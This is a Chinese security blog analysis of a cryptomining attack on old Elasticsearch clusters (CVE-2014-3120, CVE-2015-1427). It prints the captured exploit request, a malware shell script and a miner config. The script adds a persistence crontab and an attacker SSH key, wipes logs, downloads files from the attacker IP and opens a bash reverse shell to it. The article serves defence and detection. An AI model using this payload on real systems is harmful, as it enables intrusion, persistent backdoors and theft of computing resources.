利用ElasticSearch漏洞挖矿案例分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

利用ElasticSearch漏洞挖矿案例分析

bt0sea 系统安全 2019-03-04 10:52:03
359914
收藏

导语:在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。

0x00、前言

在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。

0x01、入侵手段

对于mongodb、redis等数据库的攻击已经讲的非常多了,今天给大家分享的是针对不安全的Elasticsearch集群的攻击。这些攻击利用CVE-2014-3120和CVE-2015-1427。这两种攻击仅存在于旧版本的Elasticsearch中,并利用将脚本传递给搜索查询的能力。把有效攻击载荷存储在里面并且执行。

态势感知-网络入侵防护系统中,对相关的入侵有检测功能,策略如下:

1、ET WEB_SERVER Possible CVE-2014-3120 Elastic Search Remote Code Execution Attempt

2、ET WEB_SERVER Possible CVE-2015-1427 Elastic Search Sandbox Escape Remote Code Execution Attempt

通过入侵检测系统,可以获取到有效的入侵载荷。

"POST /_search?pretty HTTP/1.1
Host: xxx.xx.113.xxx:9200
User-Agent: Go-http-client/1.1\r\nContent-Length: 208
Connection: close\r\nAccept-Encoding: gzip

{
    "size": 1,
    "script_fields": {
        "lupin": {
        "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh -P /tmp/sssooo\").getText()"
        }
    }
}

我们分析一下攻击载荷都干了什么事。

1、关闭SElinux,干掉现有挖矿进程

#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
...
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
...
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
...

2、在crontab添加定时升级程序,添加自己C2主机的ssh key,下载挖矿配置文件,配置防火墙、删除日志、开启反弹shell。

if [ -f "$rtdir" ]
    then
        echo "i am root"
        echo "goto 1" >> /etc/devtools
        chattr -i /etc/devtool*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/systemctI
if [ -f "/usr/bin/crontab" ]
then 
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/10 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
else
 echo "*/10 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
fi
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABAQDPK+J+AIJvoCX67fFzfbNU5MT816KDmggltbgEI0hKZRdmMMe1ao/3CEgIzeqGbTff1suT/F1POUjGrf5t/ZqyIJzCIBKqNsxzM4tRNxrIGrqKnZypRlXdX+uZNaxmNJZGkkmtdeseekped0WnWk5SsvbYghBn4y9lZnsO+C1EgjLNWkbRPuoo/RkWTIXDmB7M7UcfYf+sSpApACt8DRydSEkeY709WtL0aANnN057Wnp/Okv+buM4mnkuteLtZvCAySt7PVBrCKyhItZx9VX/TMegljt/UPDaKfAeWF14Q1ORLRQkzZt9k+pY/ccNNbS53OmG0NhQ/awchmgXUpsP root@vultr.guest" >> /root/.ssh/authorized_keys
        cfg="/etc/config.json"
        file="/etc/devtool"

if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "3629" ]
then
rm /etc/config.json
        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/config.json > /etc/config.json
                        elif [ -f "$bbdira" ]
...
        fi
pkill -f devtool
else
echo "no need download"
fi
else
    ...    
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
bash -i >& /dev/tcp/207.148.70.143/8888 0>&1

3、挖矿配置文件

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "asm": true,
    "autosave": true,
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 90,
    "pools": [
        {
            "url": "xmr.f2pool.com:13531",
            "user": "83p6VPXu8SsZsH22EG9iQxg97M6K81Jft1CGXYwrVgkSa45KQm6Dau9HN6w3oroHKfJkzL2298CVD41eejCvJTd76Grq9wd.gbgbhft656561",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": 8,
            "tls": false,
            "tls-fingerprint": null
        },
{
    "url": "xmr.pool.minergate.com:45700",
    "user": "jbk665q8hws5vxv",
    "pass": "x",
    "rig-id": null,
    "nicehash": false,
    "keepalive": false,
    "variant": 8,
    "tls": false,
    "tls-fingerprint": null
}
    ],
...

攻击链分析:

1、CVE-2014-3120 / CVE-2015-1427  远程执行漏洞。

2、ssh key 文件变更 /contrab 文件变更。

3、反弹shell/执行挖矿进程。

0x02、防范措施

把以上攻击链分析,放置到大数据关联引擎中,自动化攻击匹配时间在1分钟之内。同时把有关联的数据加入到观察列表中,以备日后APT攻击分析。当然你也可以把这种确定的攻击和反制措施联动起来(防火墙、IPS、ACL等)。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务